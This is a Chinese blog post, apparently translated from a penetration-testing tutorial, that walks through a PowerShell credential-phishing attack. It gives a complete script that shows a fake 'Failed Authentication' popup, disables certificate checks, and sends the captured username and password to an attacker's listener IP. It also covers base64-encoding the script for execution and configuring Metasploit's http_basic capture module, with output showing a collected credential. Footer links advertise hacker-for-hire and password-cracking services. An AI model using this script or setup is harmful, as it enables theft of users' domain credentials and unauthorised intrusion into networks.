Powershell基础认证钓鱼与捕获

访客4年前黑客工具681

  本文是metasploitminute的课程 利用powershell生成一个基础认证钓鱼窗体,然后通过metasploit来capture捕获。

  最酷的是不生成额外代码,可以获取任何级别用户的认证信息,无需管理员权限,无需过UAC,通过SSL方式只需要一些免费的证书。

  渗透中不战而屈人之兵为上等,让管理员或者其他域用户拱手交出自己的密码当然是更好了。

  evilpopup_metasploit

  视频教程在此:

  powershell脚本代码:

  $cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};

  $wc=new-object net.webclient;

  $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

  $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;

  $wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;

  $wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

  $result=$wc.downloadstring('https://172.16.102.163');

  分解一下:

  $cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserName,[Environment]::UserDomainName);

  这步告诉windows提示凭证,我们设置的标题是“Failed Authentication”(验证失败),在弹窗里面增加了用户名和域名来提过真实性。当然这一切,都只是辅助。

  [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};

  告诉powershell不要验证SSL证书(允许我们后续使用自签署的证书)

  $wc=new-object net.webclient;

  $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

  创建一个新的webclient对象并设置它的用户 *** 为Wget。

  $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;

  $wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;

  告诉powershell使用当前用户可能在使用的任何 *** 及任何缓存的凭据。

  $wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

  用户在此基础认证钓鱼中输入的密码就是安全研究人员和黑客们想要的密码,对内网渗透十分有裨益。

  $result=$wc.downloadstring('https://172.16.102.163');

  最后发送请求到监听机器上 监听机器上使用metasploit的capture模块

  cat power.txt | iconv --to-code UTF-16LE | base64

  base64一下上述代码

  然后执行你就可以看到十分逼真的基础认证钓鱼窗口:

  2014-09-03-powershellpopup

  另外一边使用metasploit接收密码:

  root@wpad:~/metasploit-framework# https://www.secpulse.com/archives/msfconsole -Lq

  msf > use auxiliary/server/capture/http_basic

  msf auxiliary(http_basic) > show options

  Module options (auxiliary/server/capture/http_basic):

  Name Current Setting Required Description

  ---- --------------- -------- -----------

  REALM Secure Site yes The authentication realm you'd like to present.

  RedirectURL no The page to redirect users to after they enter basic auth creds

  SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

  SRVPORT 80 yes The local port to listen on.

  SSL false no Negotiate SSL for incoming connections

  SSLCert no Path to a custom SSL certificate (default is randomly generated)

  SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

  URIPATH no The URI to use for this exploit (default is random)

  msf auxiliary(http_basic) > set SSL true

  SSL=> true

  msf auxiliary(http_basic) > set SRVPORT 443

  SRVPORT=> 443

  msf auxiliary(http_basic) > set URIPATH /

  URIPATH=> /

  msf auxiliary(http_basic) > run

  [*] Auxiliary module execution completed

  msf auxiliary(http_basic) >

  [*] Listening on 0.0.0.0:443...

  [*] Using URL: https://0.0.0.0:443/

  [*] Local IP: https://172.16.102.163:443/

  [*] Server started.

  [*] 172.16.102.140 http_basic - Sending 401 to client 172.16.102.140

  [+] 172.16.102.140 - Credential collected: "SITTINGDUCKASDqwe123"=> /

  【原文:Powershell Popups + Capture SP小编翻译发布】

相关文章

硬遵多少钱一包,贵烟遵义软包多少钱

  拒绝垃圾货!好货这里侑   30元   另一面是遵义价值俩个字为繁体 白色的 下面有拼音 !软包的!   贵烟也就是本来的“遵义”香烟,硬遵义25元一包,软遵义35元一包。   调价前是35一包,...

调查婚外情要多少钱(婚外调查取证费用一般多少)

我一年前我还在在网上了解了一个远在国外自主创业但理想年纪大了居住中国的男生,样子挺严肃认真,但思绪還是挺细致,瞎聊天很有耐心,也可以照料到我 的心态,一旦发觉有点儿 情绪波动,便会不辞劳苦地开导你。...

哪里能找黑客-怎么样找到真正的黑客(怎么样能找到真正的黑客)

哪里能找黑客-怎么样找到真正的黑客(怎么样能找到真正的黑客)

哪里能找黑客相关问题 怎么找到黑客联系方式相关问题 网站别黑客入侵了怎么办 手机专门破qq密码的软件(专门玩游戏的手机品牌)...

ck是什么牌子? ck属于几线品牌

ck是什么牌子? ck属于几线品牌

今日看点: CK到底是一个什么样的品牌?它们家有哪些产品是值得买的?以下是正文 ▼   旁友们大嘎好,终于又到了汪撕葱老湿登上历史的舞台了。 今天的『扒一扒』 我们要回答的是微信后台里@李...

私人黑客接单,找黑客消除714网贷数据,找网络高手黑客

在admin/plugin.php插件上传处存在上传缝隙,经过上传zip紧缩的文件,即可上传木马文件。 在plugin.php约79行处的上传点当action为upload_zip进行判别,先判别是否...

相谭黑客,黑客可以找微信要钱不,qq密码破解黑客软件

表3-1 广告服务器地址散布2019年上半年,勒索病毒进一步加强对服务器体系的攻势。 弱口令进犯仍然是勒索病毒进入受害机器的首要手法。 此外,垂钓邮件、缝隙侵略、网站挂马、运用破解或激活东西传达也是勒...